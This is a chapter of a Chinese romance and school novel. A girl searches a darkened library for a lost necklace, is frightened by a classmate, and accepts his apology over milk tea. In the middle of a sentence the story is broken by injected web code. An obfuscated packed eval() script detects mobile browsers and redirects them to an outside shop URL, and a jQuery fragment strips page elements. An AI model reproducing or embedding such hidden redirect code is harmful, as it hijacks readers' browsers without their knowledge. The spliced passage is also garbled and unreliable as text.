有些事情似乎一旦被提起了,就成了那丝丝缕缕的硝烟,萦绕着出现在身边。
那天之后她就很久都没有再见过江慈,江念也已经出院了,但是她没有回宿舍,因为她妈妈把她接回家照顾了。据说江念的妈妈在工作上是个雷厉风行的性格,但她很难想象,因为她见过的都是围在江念身边,对江念百依百顺的女宝妈,是生怕江念有个一星半点儿的不如意贴心好妈,就连江念自己都感慨自己养得这么个娇蛮的性子完全得益于对她溺爱无比的母亲大人。林慧女士和江念同框的画面她见得多了,但是她好像从来没有见过江慈和他妈妈同框。
当初她初来城南的时候,江慈还在城南中学,他们的家长会是同一时间开的,那次的家长会大概是江慈在城南中学的最后一次家长会,而那是她在城南的第一次家长会。那时候她刚到许家不久,和许家人包括许母几乎等于是陌生人,她不知道怎样开口请他们其中一个人作为家长代表参加她的家长会。那次是许望作为她的家长来开的家长会,开口的人不是她,而是见她因为家长会的事苦恼不已的江念。
江念的家长代表自然是林慧女士,但江慈的却不是他的父亲江海,而据说是一位一直在江老夫人身边侍奉的老先生。后来她隐约也有听说,江慈的家长会从来不是他的父母来参加的,一直是那位老先生作为家长代表来参加。可江念的每一次家长会都是她妈妈来的,但林慧女士每次来也只参与江念的事,从来不过问也不关心江慈的任何情况,仿佛她只有一个女儿在这个学校。
江念从来不主动和她聊江慈的事情,而她自然也不会主动去问。只是现在想来,江慈和母亲的关系似乎不太亲密。江念和江父的关系不密切倒是情有可原,但江慈和江念都是她十月怀胎生下的孩子,为什么会如此的亲疏有别?想到这个她突然记起第一次见到江念妈妈的时候,首先是被她的美貌惊艳了,她长得是相当的漂亮,虽然江念长得也很漂亮,但她俩不是一种漂亮,江念的漂亮是明艳的那种,但林慧女士的长相更精致,所以她一度觉得江念大概是更像她亲生父亲一些。
她以往没有怎么关注过江慈的长相,毕竟他们从前几乎没有任何接触。那天在车里是她第一次认真地观察了他的脸,那也是她第一次意识到这个世界上有如此精雕细琢的长相的男生。而江慈的精致显然是继承自林慧女士。
头发吹得差不多了,她也胡思乱想得差不多了,照镜子准备涂水乳的时候才发现脖子上少了些东西——江念去年送给她作为生日礼物的项链不见了!
她总是会在生活不顺利的时候把身边发生的一切不如常的事情当作某种不良的征兆。比如最近江念刚受了伤,她送她的项链又突然丢了。她在浴室和卧室每一个她可能随手放下的位置都找了个遍,都没有看见项链的踪影。今天早上出门的时候她还戴在脖子上的,午觉睡醒梳头发的时候她在镜子面前也似乎还看见它好好地待在她的脖子上所以最有可能就是晚上她回来之前掉在图书馆了,因为今天周五没有晚修,她就在图书馆待了一会儿。
想着得去图书馆找一下,于是她朝挂钟看了一眼——已经九点过半了——图书馆准备要闭馆了。来不及再细想,她套了件高领的针织裙就往外跑,外头冷风一吹她才感觉似乎头发只吹了个半干,怪她刚才满脑子胡思乱想,没有怎么认真关注她的头发,此刻迎风冲出去,半湿的头发裹着冷风打在脸上直发疼。
等她跑到图书馆的时候,二楼以上的楼层都已经关了灯,只有一楼的灯还在顽强支撑着,刚刚在自习的学生已经收拾好东西朝图书馆大门走去,只有她一个人鬼鬼祟祟地逆方向朝楼梯而去。她今天是在三楼坐的。她低头看了一眼手表,还有十五分钟才闭馆,她动作快一点应该来得及。电梯她也心急得不想等了,三楼的高度她两步并作一步就跑上去了。
三楼漆黑一片,低处有一排而去的绿色安全灯,周围一点声音都没有,静谧的空气似乎化成了雾,在她眼前升腾,一眼看过去就像孙悟空去过的那个阴曹地府,但这里连审堂的声音和人都没有。怕被人发现,她也不敢把手电筒打开,只能依靠着绿色安全灯的微光,在黑暗中摸索前行。突然庆幸自己有个好视力。在黑暗里待了几分钟,她的眼睛就已经适应黑暗了。人类的适应能力果然很强。也庆幸自己对图书馆的结构很熟悉,所以她很快找到了自己今天坐的那个位置。
她伸手在桌子上摸索,没有摸到任何链条状的东西。然后她蹲下来想看一下有没有落在地下,但地面的光线实在太暗了,根本看不清地上有什么,她只得将左手掌盖在手电筒的灯头上,推开了手电筒,整个左手掌开始变红,像个红灯笼。她打着那手掌灯笼,用那小心翼翼放出的一点灯光照向地面。但往地上照了一圈,还是没有看到她的项链。
脚因为蹲得太久有点发麻了,需要缓一缓,她从地上站了起来。出现在她眼前的是一条黑蒙蒙的长走道,在大概五六米远的地方亮起一点点绿光,那里是洗手间。人越害怕什么就越会想象什么,比如此时她突然想起来江念给她发过的视频,关于一件学校里盛传的灵异事件。
据说,那是在寒冬的时候,早上六点钟的时候天都没亮,因为要赶早读,有个同学来图书馆还书,书还完了刚打算走,转身就看到洗手间的门口站着一个人。走道上没有开灯,一眼看上去还和今晚一样黑蒙蒙的,只有那一点点自然光,让洗手间门口那人看起来就像是个剪影。发卷蓬松的中长发让他们一致认为是个女生,她穿着一件带帽的大衣,大衣下是一对瘦骨嶙峋的腿支撑着,颤颤巍巍地往前走,又好像往后走,让人分不清她行走的,唯一能看明白的是她是直线移动,非常直,一点不歪歪扭扭,像在进行某种仪式一样,透露着一种阴森诡异的庄严。那段视频让人看得背脊生寒,因此关于视频的背景故事出现了各种各样的版本。
姜辞自认不是一个胆子小的人,但是在今晚这样的环境里想起来实在无法不让人感到后背发凉。想来今晚是找不到的了,她关了手电筒紧紧抱在胸前往楼梯快步走过去,不敢再往那条走道看去,但是去楼梯那儿就势必要经过那条走道。她咬着下唇,沉着呼吸,怕一不小心惊扰了谁。眼看着就快到了楼梯口,越靠近她就越紧张,总感觉那条走道上会有个卷发的女人突然向她跑过来,让她躲都躲不及,心里这么想着,眼前似乎真的就出现了这个画面——有个人向她跑了过来,黑色的一团,分不清男女,直线移动,且迅速接近。
她的双腿开始发软,她的的惊叫只发出了一个轻微的元音,嘴巴就被捂上了,一只强有力的手抓住了她的手臂。不知道是被捂上了嘴的原因,还是因为恐惧,她觉得自己无法呼吸了,四肢和身体突然被冻结,始终萦绕在她的人生里无法摆脱的画面出现在眼前——她不要!
“你别叫,是我。”一道熟悉的男生的声音。
是周止文。不是他!
他的眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913515|213232||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
睛对上她的眼睛,像是在传达自我介绍的信号,然后慢慢放开了她,小声地继续说:“小点儿声,别把管理员老师喊上来了。”
身体慢慢解了冻,像冰块融化那样,融化出来的水从眼眶里奔涌而出,她没有哭,只是眼泪在流。
显然没想到她会哭,周止文顿时变得手足无措,想帮她擦眼泪又不敢碰她的脸,手抬起又放下,最后只敢拿外套的袖子裹住手,小心翼翼地去压她脸上的眼泪,生怕一个不小心就把她碰碎了,嘴里不停地道着歉,“我没想要吓你的,对不起对不起,我是看要关门了你还没下来,就想上来找你的,我不知道会吓到你,对不起对不起——”
他的声音对此刻的她来说就是最大的安全保障,他是周止文,不是他。
姜辞抓住了他的手,阻止了他给她擦眼泪的动作,手上裹着的布料因为她的眼泪已经变得有些湿润,“没事了,我没事了。”
“真……真的吗?”他不自然地收回了手。
她抬手把眼泪抹干,“真的,就是被吓到了而已,现在没事了,我们快下去吧,要关门了。”
嘴上虽然说着没事,但她是一路拽着他的衣服下楼的,快到门口的时候,他停下了脚步,让她先走,她走出了图书馆他才开始往门口走,等他快走到门口的时候,她听到管理员老师问他东西找到了没有,他说找到了。
“你也丢东西了?”看见他走到了她旁边,她才问他。
“不是,我是看你没下来,又要关门了,我只好和老师说东西落下了,去找一下。你丢东西了?我说你怎么这么晚了偷偷摸摸地跑上楼呢。”
偷偷摸摸这个词一下就点出了她的窘态,她只能尴尬地笑了笑。
“你什么东西丢了?这么急着找?”这时候出来路边有了灯光,也有了空间,他才看清楚姜辞现在是什么模样——半湿着的头发,单一件裙子,脚上一双毛绒绒的粉色拖鞋,“头发也没干,不冷啊?”
“不冷啊!”她边说着边把两只手卷成拳往腰两侧揣,揣了个空才发现这件裙子是没有两侧兜的,她低下了头,撑起了两边前脚掌又放下,拖鞋上的绒毛也跟着动作动了动。突然绒毛的摆动变大了,阵阵冷风从小腿上往身体钻,她吸了下鼻子,突然肩膀上一重,是一件外套。
“晚上比白天还冷,别感冒了。刚才把你吓到了,对不起——”他有些不自然地说着,眼睛往路灯上看去。
脱下了那件宽厚的大外套,他里面只剩了一件单薄的白色带帽卫衣,头发剪得短,几近寸头,炯炯有神的一双眼睛里藏着碎光。那碎光里闪着的是让人不自觉想要靠近的明亮自信。
“绅士的风度我就不拒绝啦,谢谢你。”她一边把外套穿上一边说着,“你怎么不是在跟我道歉就是在跟我道歉的路上啊?”
他笑了起来,牙质整齐且白净,干净又带点孩子气的脸上染了粉,“我觉得可能是因为之前的道歉都太没诚意了。”说完还点了点头,对自己的说法表示肯定。“我请你喝奶茶去!作为真正有诚意的道歉?”
“可以啊,毕竟盛情难却。”她今天想出去透透气。只是那时的她万万没想到,一杯用于道歉的奶茶会让她陷入早恋风波。
“不盛情怎么敢说是邀请?”他走在她身边,冷风划过耳廓都像是某种愉悦的荡漾。
风疏疏地吹着,两道年轻的声音在这风里荡啊荡的,嘻嘻哈哈地都以为青春的单纯可以永远。